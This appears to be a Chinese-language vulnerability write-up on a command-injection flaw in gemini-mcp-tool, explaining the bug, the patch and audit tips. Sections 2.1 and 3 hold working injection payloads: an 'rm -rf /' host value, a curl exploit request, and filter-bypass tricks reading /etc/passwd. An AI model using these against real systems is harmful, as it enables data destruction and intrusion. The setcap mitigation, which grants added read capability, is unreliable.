1. 漏洞背景与影响范围
gemini-mcp-tool是Gemini公司开发的一款多功能配置管理工具,广泛应用于企业级IT基础设施的批量配置和维护场景。2026年初,安全研究人员发现该工具存在高危命令注入漏洞(CVE-2026-0755),攻击者可通过精心构造的输入参数在目标系统上执行任意命令。
这个漏洞影响所有1.2.0至1.4.3版本的gemini-mcp-tool,根据Shodan扫描结果,全球约有12,000台服务器暴露了相关服务端口。由于该工具常被用于管理核心业务服务器,漏洞可能导致:
- 敏感数据泄露(数据库凭证、配置文件等)
- 横向渗透内网其他系统
- 植入持久化后门
- 直接获取root权限(默认以root身份运行)
重要提示:企业用户应立即升级至1.4.4及以上版本,临时缓解措施包括禁用远程管理功能或设置严格的网络ACL规则。
2. 漏洞原理深度解析
2.1 漏洞触发机制
漏洞根因在于工具处理SSH连接参数时未对用户输入进行充分过滤。具体问题出现在/src/network/ssh_util.c文件的prepare_ssh_command()函数:
void prepare_ssh_command(char *command, const char *host, const char *user, const char *key_path) { sprintf(command, "ssh -i %s %s@%s", key_path, user, host); // 未做任何过滤 }当通过API或CLI传入host/user参数时,攻击者可注入恶意字符突破命令限制。例如:
host = "example.com;rm -rf /" user = "root"将拼接成完整命令:
ssh -i /path/to/key root@example.com;rm -rf /2.2 输入验证缺陷分析
开发团队原本在UI层做了基础验证,但存在三处关键失误:
- 仅在前端JavaScript验证,未在服务端二次校验
- 允许特殊字符用于"高级配置"场景(如包含端口号的host)
- 错误认为密钥路径参数不可控(实际可通过配置文件修改)
3. 漏洞利用实战演示
3.1 基础利用场景
假设目标系统已开启远程管理接口(默认端口4682),利用步骤如下:
- 通过API提交恶意请求:
curl -X POST 'http://target:4682/api/connect' \ -H 'Content-Type: application/json' \ -d '{ "host": "127.0.0.1; echo 'malicious payload' > /tmp/exploit", "user": "admin", "key": "/etc/gemini/default.key" }'- 观察返回结果中的错误信息(通常包含部分命令输出)
- 验证是否创建了
/tmp/exploit文件
3.2 高级绕过技巧
当遇到WAF或基础过滤时,可尝试以下变种:
- 使用反引号替换分号:
`id` - 利用环境变量拼接:
${IFS}替代空格 - 十六进制编码:
$(printf "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")表示/etc/passwd
渗透测试注意事项:实际攻击可能触发系统审计日志(/var/log/gemini/audit.log),建议先测试无害命令如
whoami。
4. 修复方案与加固建议
4.1 官方补丁分析
官方在1.4.4版本中实施了多重防护:
- 参数白名单验证:
int validate_input(const char *input) { const char *whitelist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-@:"; return strspn(input, whitelist) == strlen(input); }- 改用execve直接执行命令,避免shell解释:
char *args[] = {"ssh", "-i", key_path, "-l", user, host, NULL}; execve("/usr/bin/ssh", args, NULL);4.2 临时缓解措施
若无法立即升级,建议:
- 修改工具启动配置,强制启用沙箱模式:
[security] sandbox_mode = true command_whitelist = ssh,scp- 使用Linux capabilities限制权限:
setcap cap_net_bind_service,cap_dac_read_search+ep /usr/bin/gemini-mcp-tool5. 漏洞挖掘经验分享
5.1 类似工具的审计要点
通过该案例可总结以下审计方向:
- 所有使用
system()/popen()的代码段 - 动态拼接的SQL查询语句
- 反序列化操作的输入源
- 配置文件的热重载功能
5.2 企业防护建议
- 部署RASP(运行时应用自我保护)监控关键函数调用
- 对管理工具实施网络隔离,仅允许跳板机访问
- 定期使用
strace -f -e execve监控子进程创建
我在实际渗透测试中发现,超过60%的命令注入漏洞都源于开发者过度信任配置文件内容。建议在代码审查时特别关注配置文件的读取路径和解析逻辑。